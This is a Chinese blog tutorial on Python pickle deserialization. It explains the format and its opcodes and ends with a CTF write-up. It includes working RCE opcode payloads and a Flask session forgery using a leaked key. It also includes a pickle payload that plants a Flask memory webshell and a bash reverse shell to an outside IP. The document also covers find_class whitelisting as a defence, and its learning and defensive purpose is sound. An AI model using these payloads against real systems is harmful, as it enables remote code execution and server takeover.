0%

Python|pickle序列化与反序列化

前言:

第一次碰到,做2024isctf碰到一题pickle反序列化,看wp的时候不是很理解,所以系统性的学习一下

一、pickle模块

pickle— Python 对象序列化

简单来说就是通过pickle模块可以将python里的对象以二进制的格式直接写入到一个二进制文件中,pickle模块会创建一个Python语言专用的二进制格式。

二、PVM(Pickle Virtual Machine)

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM

PVM有三个部分组成:

  • 引擎(指令分析器):从头开始读取流中的的操作码和参数,并对其进行处理,在这个过程中改变栈区和Memo,处理结束后到达栈顶,形成并返回反序列化的对象。
  • 栈区:作为流数据处理过程中完成数据流的反序列化,并最终在栈上生成序列化的结果
  • Memo:数据的一个索引标记opcode

三、序列化与反序列化

与php序列化和反序列化相似,只是php中是serializeunserialize,而pickle中是dumploads

  • 序列化对象写入文件:pickle.dump(obj, file, protocol=None, fix_imports=True)(protocol 为 pickling 的协议版本;fix_imports=True为以二进制的形式序列化)
  • 序列化对象换为pickle格式的bytes字符串:pickle.dumps(obj, protocol=None, fix_imports=True)
  • 反序列化对象读取文件:pickle.load(file, fix_imports=True, encoding="ASCII", errors="strict")(errors=”strict”为默认值。如果在解码过程中遇到任何错误,将会引发一个UnicodeDecodeError异常。)
  • 反序列化对象将pickle格式的bytes字符串转换为Python的类型:pickle.loads(bytes_object, fix_imports=True, encoding="ASCII", errors="strict")
1
2
3
4
5
6
7
8
9
10
11
12
import pickle

data = {
"name" : "TGlu",
"sex" : "male",
"age" : "20"
}

data_dump = pickle.dumps(data) #序列化
print( data_dump )

#b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\x04TGlu\x94\x8c\x03sex\x94\x8c\x04male\x94\x8c\x03age\x94\x8c\x0220\x94u.'

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

data = {
"name" : "TGlu",
"sex" : "male",
"age" : "20"
}

data_dump = pickle.dumps(data) #序列化
# print( data_dump )
print(pickle.loads(data_dump)) #反序列化

#{'name': 'TGlu', 'sex': 'male', 'age': '20'}

image-20241218210719622

1
2
3
4
5
6
7
8
9
10
import pickle

data = {
"name" : "TGlu",
"sex" : "male",
"age" : "20"
}

file = open("personal.pkl","wb") #pkl文件‌是Python中用于序列化对象的二进制文件格式,wb以二进制的形式写入
pickle.dump(data,file) #序列化写入文件

打开文件查看可以发现已经写入成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

data = {
"name" : "TGlu",
"sex" : "male",
"age" : "20"
}



file = open("personal.pkl","rb") #pkl文件‌是Python中用于序列化对象的二进制文件格式,rb以二进制的形式读取
# pickle.dump(data,file)
print(pickle.load(file)) #反序列化读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

data = {
"name" : "TGlu",
"sex" : "male",
"age" : "20"
}

all_data = ["TGlu","xiaoxin","xiaoming"] #设置一个用户组

file = open("personal.pkl","wb")
pickle.dump(data,file)
pickle.dump(all_data,file)

只反序列化一次,发现只会得到用户

1
2
3
4
5
6
7
8
9
10
11
12
import pickle

data = {
"name" : "TGlu",
"sex" : "male",
"age" : "20"
}

all_data = ["TGlu","xiaoxin","xiaoming"]

file = open("personal.pkl","rb")
print(pickle.load(file))

反序列化两次才会全部得到

四、指令集 opcode

pickle实际上可以看作一种独立的语言,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)

Pickle常见opcode

name op params describe eg
MARK ( null 向栈顶push一个MARK
STOP . null 结束
POP 0 null 丢弃栈顶第一个元素
POP_MARK 1 null 丢弃栈顶到MARK之上的第一个元素
DUP 2 null 在栈顶赋值一次栈顶元素
FLOAT F F [float] push一个float F1.0
INT I I [int] push一个integer I1
NONE N null push一个None
REDUCE R [callable] [tuple] R 调用一个callable对象 crandom\nRandom\n)R
STRING S S [string] push一个string S ‘x’
UNICODE V V [unicode] push一个unicode string V ‘x’
APPEND a [list] [obj] a 向列表append单个对象 ]I100\na
BUILD b [obj] [dict] b 添加实例属性(修改__dict__ cmodule\nCls\n)R(I1\nI2\ndb
GLOBAL c c [module] [name] 调用Pickler的find_class,导入module.name并push到栈顶 cos\nsystem\n
DICT d MARK [[k] [v]…] d 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 (I0\nI1\nd
EMPTY_DICT } null push一个空dict
APPENDS e [list] MARK [obj…] e 将栈顶MARK以前的元素append到前一个的list ](I0\ne
GET g g [index] 从memo获取元素 g0
INST i MARK [args…] i [module] [cls] 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class (S’ls’\nios\nsystem\n
LIST l MARK [obj] l 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 (I0\nl
EMPTY_LIST ] null push一个空list
OBJ o MARK [callable] [args…] o 同INST,参数获取方式由readline变为stack.pop而已 (cos\nsystem\nS’ls’\no
PUT p p [index] 将栈顶元素放入memo p0
SETITEM s [dict] [k] [v] s 设置dict的键值 }I0\nI1\ns
TUPLE t MARK [obj…] t 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 (I0\nI1\nt
EMPTY_TUPLE ) null push一个空tuple
SETITEMS u [dict] MARK [[k] [v]…] u 将栈顶MARK以前的元素弹出update到前一个dict }(I0\nI1\nu

关键op:S(tcR.

  • S:后面跟的是字符串
  • (:作为命令执行到哪里的一个标记
  • t:将从t到标记的全部元素组合成一个元组,然后放入栈中
  • c:定义模块名和类名(模块和类名之间使用回车符分隔)
  • R:从栈中取出可调用函数以及元组形式的参数来执行,并把结果放回栈中
  • .:结束符

分析一下上面我们自己写的代码跑出来的bytes字符串#b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\x04TGlu\x94\x8c\x03sex\x94\x8c\x04male\x94\x8c\x03age\x94\x8c\x0220\x94u.'

利用 pickletools 将这里的 opcode 转化成我们更易读的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pickletools

opcode = b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\x04TGlu\x94\x8c\x03sex\x94\x8c\x04male\x94\x8c\x03age\x94\x8c\x0220\x94u.'
pickletools.dis(opcode)

'''
0: \x80 PROTO 4 #表示使用的是协议版本4
2: \x95 FRAME 43 #表示一个帧的开始,帧的长度为43字节
11: } EMPTY_DICT #表示一个空的字典对象

12: \x94 MEMOIZE (as 0) #表示将当前对象存储在内存中,以便以后引用。存储的对象编号为0。
13: ( MARK #表示一个标记的开始,用于标记一个复杂对象的开始
14: \x8c SHORT_BINUNICODE 'name' #表示一个短的Unicode字符串,内容为 'name'
20: \x94 MEMOIZE (as 1)
21: \x8c SHORT_BINUNICODE 'TGlu'
27: \x94 MEMOIZE (as 2)
28: \x8c SHORT_BINUNICODE 'sex'
33: \x94 MEMOIZE (as 3)
34: \x8c SHORT_BINUNICODE 'male'
40: \x94 MEMOIZE (as 4)
41: \x8c SHORT_BINUNICODE 'age'
46: \x94 MEMOIZE (as 5)
47: \x8c SHORT_BINUNICODE '20'
51: \x94 MEMOIZE (as 6)
52: u SETITEMS (MARK at 13) #表示将标记(MARK)处的对象设置为字典的项。
53: . STOP #表示将标记(MARK)处的对象设置为字典的项。
highest protocol among opcodes = 4
'''

构造方式:(最好的方式就是手搓)

  • 手搓构造opcode:可以通过一些方式bypass

  • 利用重写类的 object.__reduce__() 函数生成opcode:只能执行单一的函数,很难构造复杂的操作

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import pickle
    import os

    class Test(object):
    def __reduce__(self):
    return (os.system,('whoami',))

    print(pickle.dumps(Test(), protocol=0))

    #b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

    只需要知道__import__('os').system(*('whoami',)) 的构造即可生成opcode

  • Pker工具生成opcode:可以执行复杂的嵌套函数,操作码被限制的特殊情况使用

五、漏洞利用

RCE

基本的poc:

1
2
3
4
c<module>
<callable>
(<args>
tR

与函数执行相关的三个指令:

  • R:见上文

    1
    2
    3
    4
    5
    6
    #GLOBAL('os', 'system')
    cos
    system #引入os模块中的system方法,将os.system压入栈中
    (S'whoami' #把当前栈存到MARK,清空栈,再将'whoami'压入栈中
    tR. #t将栈中的值弹出并转为元组,把MARK还原到栈中,元组压入栈中;R的内容system(*('whoami',));.结束
    #__import__('os').system(*('ls',))
  • i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

    1
    2
    3
    4
    5
    #INST('os', 'system', 'whoami')
    (S'whoami'
    ios
    system
    .
  • o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为调用函数,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

    1
    2
    3
    4
    5
    #OBJ(GLOBAL('os', 'system'), 'whoami')
    (cos
    system
    S'whoami'
    o.

单一命令执行:(当前是windows环境,比较懒没开Ubuntu没在Linux环境里测。whoami可以在windows里运行)

1
2
3
4
5
6
7
8
9
import pickle

opcode=b'''cos
system
(S'whoami'
tR.
'''

pickle.loads(opcode)

可以看到当前用户,命令执行成功

连续命令执行:(pwd是Linux里的命令这边就不演示了)

1
2
3
4
5
6
7
8
9
10
11
12
import pickle

opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'ls'
tR.
'''

pickle.loads(opcode)

操控实例化对象的属性

假设一个用户登入权限的场景(代码并不具有完整功能点,只是根据大致功能假设)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle

class User: #创建一个类User
def __init__(self, admin , guest): #self是Python中类的实例方法中的第一个参数,用于引用调用该方法的实例对象。
self.admin = admin #实例化对象admin
self.guest = guest #实例化对象guest

def display_info(self):
print(f"Admin: {self.admin}, Guest: {self.guest}")

# 创建 User 对象
user = User(admin="admin", guest="TGlu")

# 调用 display_info 方法
user.display_info()

#Admin: admin, Guest: TGlu

以用户名TGlu登入会传入如下 pickle 序列化内容

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

class User:
def __init__(self):
self.admin=False
self.guest=True

user = User()
print(f"Admin: {user.admin}, Guest: {user.guest}")
print(pickle.dumps(user))

#Admin: False, Guest: True
#b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x05admin\x94\x89\x8c\x05guest\x94\x88ub.'

用pickletools转化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import pickletools

opcode = b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x05admin\x94\x89\x8c\x05guest\x94\x88ub.'
pickletools.dis(opcode)

'''
0: \x80 PROTO 4
2: \x95 FRAME 47
11: \x8c SHORT_BINUNICODE '__main__'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'User'
28: \x94 MEMOIZE (as 1)
29: \x93 STACK_GLOBAL
30: \x94 MEMOIZE (as 2)
31: ) EMPTY_TUPLE
32: \x81 NEWOBJ
33: \x94 MEMOIZE (as 3)
34: } EMPTY_DICT
35: \x94 MEMOIZE (as 4)
36: ( MARK
37: \x8c SHORT_BINUNICODE 'admin'
44: \x94 MEMOIZE (as 5)
45: \x89 NEWFALSE
46: \x8c SHORT_BINUNICODE 'guest'
53: \x94 MEMOIZE (as 6)
54: \x88 NEWTRUE
55: u SETITEMS (MARK at 36)
56: b BUILD
57: . STOP
highest protocol among opcodes = 4
'''

此时我们只需要将\x89false\x88true调换一下,即可实现TGlu用户权限变为admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle

class User:
def __init__(self,admin,guest):
self.admin=admin
self.guest=guest

opcode = b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x05admin\x94\x88\x8c\x05guest\x94\x89ub.'
#pickletools.dis(opcode)

user = pickle.loads(opcode)
print(f"Admin: {user.admin}, Guest: {user.guest}")

#Admin: True, Guest: False

可以发现此时的TGlu用户的权限已经变为admin了

变量覆盖

1
2
//secret.py
secret = "123456"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
import secret

print("secret:"+secret.secret)

opcode=b'''c__main__
secret #引入secret模块
(S'secret' #将自定义的secret属性替换为abcdef
S'abcdef'
db.''' #db构建一个对象
fake=pickle.loads(opcode)

print("secret:"+fake.secret)

#secret:123456
#secret:abcdef

六、pickle防护

1、不在不受信任的通道中传递Pickle序列化对象

2、在传递序列化对象前请进行签名或者加密,防止篡改和重播

3、如果序列化数据存储在磁盘上,确保不受新人的第三方不能修改、覆盖或者重新创建自己的序列化数据

4、Unickler.find_class()来给调用的module和name设置黑白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#设置白名单 
safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}

def find_class(self, module, name):
#只允许从builtins模块中加载一些安全的类。
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name) #如果模块名是builtins并且类名在safe_builtins集合中,则返回该类。
#禁止加载其他类。
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

七、例题

2024isctf 新闻系统

一进入靶场就发现个登录界面

下载源码后审计

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
if username == 'test' and password == 'test111':
session['username'] = username
session['password'] = password
session['status'] = 'user'
return redirect('/news')
else:
session['login_error'] = True
return render_template("login.html")

用户名为test密码为test111即可进入news。但是进入后没东西继续审计

但是发现后续的功能点都需要admin用户,且发现源码已经给出了SECRET_KEY=W3l1com_isCTF

那就开始伪造

先解密看看session格式

1
2
3
4
python3 flask_session_cookie_manager3.py decode -c '.eJyrVsrJT8_Mi08tKsovUrIqKSpN1VEqSCwuLs8vSlGyUipJLS4xNDRU0lEqLkksKS0GCpUWpxYB-SAqLzE3FapIqRYA7_MZ7A.Z2GfiA.VKeH_QpuTOJ9M-bIVEbQQA57BgM' -s 'W3l1com_isCTF'

//session
{'login_error': True, 'password': 'test111', 'status': 'user', 'username': 'test'}

加密:

1
2
3
4
5
6
7
//session
{'login_error': True, 'password': 'admin222', 'status': 'admin', 'username': 'admin'}

python3 flask_session_cookie_manager3.py encode -s "W3l1com_isCTF" -t "{'login_error': True, 'password': 'admin222', 'status': 'admin', 'username': 'admin'}"

//session
.eJyrVsrJT8_Mi08tKsovUrIqKSpN1VEqSCwuLs8vSlGyUkpMyc3MMzIyUtJRKi5JLCkthokBBUqLU4vyEnNT4UK1ADxQGss.Z2Gg8g.oVOlC_jpXBr3JFix5uTwj-_HiVU

伪造成功,进入管理员后台(当时做到这里后就不知道咋做了)

接着审计代码(好吧其实找不到漏洞点看wp了)

发现有个pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def add_news(self, serialized_news) -> None:
try:
news_data = base64.b64decode(serialized_news)
black_list = ['create_news','export_news','add_news','get_news']
for i in black_list:
if i in str(news_data):
return False
news = pickle.loads(news_data)
if isinstance(news,News):
for i in self.news_list:
if i.title == news.title:
return False
self.news_list.append(news)
return True
return False
except Exception:
return False

手搓构造opcode

先是尝试了一下最基础的命令执行,但是发现命令是执行成功了但是无回显,反弹shell外带也行不通(比赛时可以)

所以就尝试打flask内存马(最近做到太多打内存马的了)

1
2
3
4
cbuiltins
eval
(S"__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen(request.args.get('a')).read())"
tR.

但是添加后发现失败,再看源码,发现news_data = base64.b64decode(serialized_news)所以我们需要对opcode进行base64加密,但是发现还是失败。继续审计可以发现

1
2
3
4
5
6
7
8
news = pickle.loads(news_data)
if isinstance(news,News): #检查news对象是否是News类的实例
for i in self.news_list: #检查每个元素的title属性是否与news对象的title属性相同
if i.title == news.title: #如果相同则返回False
return False
self.news_list.append(news) #如果遍历完列表没有找到相同的title,将news对象添加到self.news_list列表中,并返回True
return True
return False

所以我们需要添加一个实例News,且要保证news的title不存在

构造完整的exp(注意opcode里每行结尾不为空格否则base64加密后是有问题的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64

opcode = b'''cbuiltins
eval
(S"__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen(request.args.get('a')).read())"
tRc__main__
News
(S''
S''
tR.'''

data = base64.b64encode(opcode)
print(data.decode())

# Y2J1aWx0aW5zCmV2YWwKKFMiX19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKHJlcXVlc3QuYXJncy5nZXQoJ2EnKSkucmVhZCgpKSIKdFJjX19tYWluX18KTmV3cwooUycnClMnJwp0Ui4=

原题有一个反弹shell的非预期解,但是复现靶场的好像已经被修复了(问了波群主),所以也不知道下面这个exp对不对,大佬们可以帮忙看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64

opcode = b'''cos
popen
(S"bash -i >& /dev/tcp/38.12.42.163/7777 0>&1"
tRc__main__
News
(S''
S''
tR.
'''

data = base64.b64encode(opcode)
print(data.decode())

参考资料:

https://xz.aliyun.com/t/11807?time__1311=Cq0xuD07G%3DiQYGX7k7Dn7xcDmoN9%3DKDgDcYD#toc-5

https://xz.aliyun.com/t/7012?time__1311=n4%2BxnD0Dy7it0QYuq05%2BbWNqAKGQzDB0Ze9BhoD#toc-5

https://blog.csdn.net/2301_79700060/article/details/143854365